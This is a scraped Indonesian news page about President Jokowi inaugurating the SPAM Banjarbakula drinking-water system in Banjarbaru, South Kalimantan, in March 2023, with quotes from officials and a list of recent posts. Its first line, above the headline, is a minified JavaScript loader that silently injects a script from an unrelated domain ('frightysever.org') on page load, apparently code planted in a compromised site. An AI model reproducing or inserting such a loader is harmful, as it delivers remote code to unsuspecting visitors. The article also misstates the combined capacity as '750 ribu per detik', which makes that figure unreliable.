(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

SPAM Banjarbakula Berkapasitas 750 Liter per Detik, 74.202 Sambungan Rumah Lima Daerah di Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Sistem Penyediaan Air Minum (SPAM) Banjarbakula yang berada di ibu kota Provinsi Kalimantan Selatan (Kalsel) diresmikan Presiden Jokowi, Jumat (17/3/2023) siang.

SPAM Banjarbakula milik Pemprov Kalsel ini menelan anggaran sebesar Rp 787 miliar akhirnya bisa dinikmati oleh masyarakat di 5 daerah yakni Kota Banjarbaru, Kota banjarmasin, Kabupaten Banjar, Kabupaten Tanah Laut dan Kabupaten Barito Kuala.

Presiden Jokowi saat peresmian mengatakan, SPAM Banjarbakula ini harus digunakan dan dimanfaatkan dengan sebaik-baiknya karena pembangunan instalasi pengolahan air bersih ini telah menelan anggaran uang negara yang sangat banyak.

“SPAM Banjarbakula yang dibangun di sini adalah tahap kedua (500 liter per detik, red), bisa menyuplai kepada 60.000 rumah tangga yang memerlukan air bersih,” ujarnya.

 

Baca juga: Jokowi Resmikan SPAM Banjarbakula, Warga Mentaos Kebagian Baju Kaos

Presiden Jokowi meresmikan instalasi SPAM (Sistem Pengolahan Air Minum) Banjarbakula berkapasitas 500 liter per detik di Kelurahan Mentaos, Kota Banjarbaru, Jumat (17/3/2023) siang. Foto: medcenbjb

Presiden RI melanjutkan, SPAM Banjarbakula mengambil bahan baku dari air Sungai Riam Kanan berjarak kurang lebih 20 kilometer.

“Air Sungai Riam Kanan dibawa ke sini, diolah sampai bersih kemudian disuplai ke 60.000 rumah tangga tadi yang tersebar di 5 kabupaten kota di Kalimantan Selatan,” ucapnya.

Sementara itu, Dirjen Cipta Karya Kementerian Pekerjaan Umum dan Perumahan Rakyat RI Diana Kusumastuti mengatakan, pembangunan SPAM Banjarbakula ini sudah dimulai sejak tahun 2014 hingga 2022.

“Alhamdulillah sudah kita serah terimakan pada Juni 2022 kepada Pemerintah Provinsi Kalimantan Selatan. SPAM Banjarbakula ini memiliki dua Instalasi Pengolahan Air (IPA) dengan kapasitas masing-masing 250 liter dan 500 liter per detik. Jadi total kapasitas sebesar 750 ribu per detik,” bebernya.

Diana juga menyampaikan SPAM Banjarbakula ini pertama di Kalimantan yang dimanfaatkan secara regional.

Baca juga: Senyuman dan Lambaian Tangan Jokowi, Dua Warga Banjarbaru Ini Sudah Dibikin Bahagia

“SPAM Banjarbakula ditargetkan akan melayani sebanyak 74.202 sambungan rumah tangga secara bertahap dan dapat terlayani pada tahun 2024,” tuturnya.

Saat peresmian SPAM Banjarbakula dihadiri Gubernur Kalsel H Sahbirin Noor, Wali Kota Banjarbaru HM Aditya Mufti Ariffin, dan Bupati Tanah Laut Sukamta. (Kanalkalimantan.com/al)

Reporter: al
Editor: bie


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

8 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

9 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

10 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.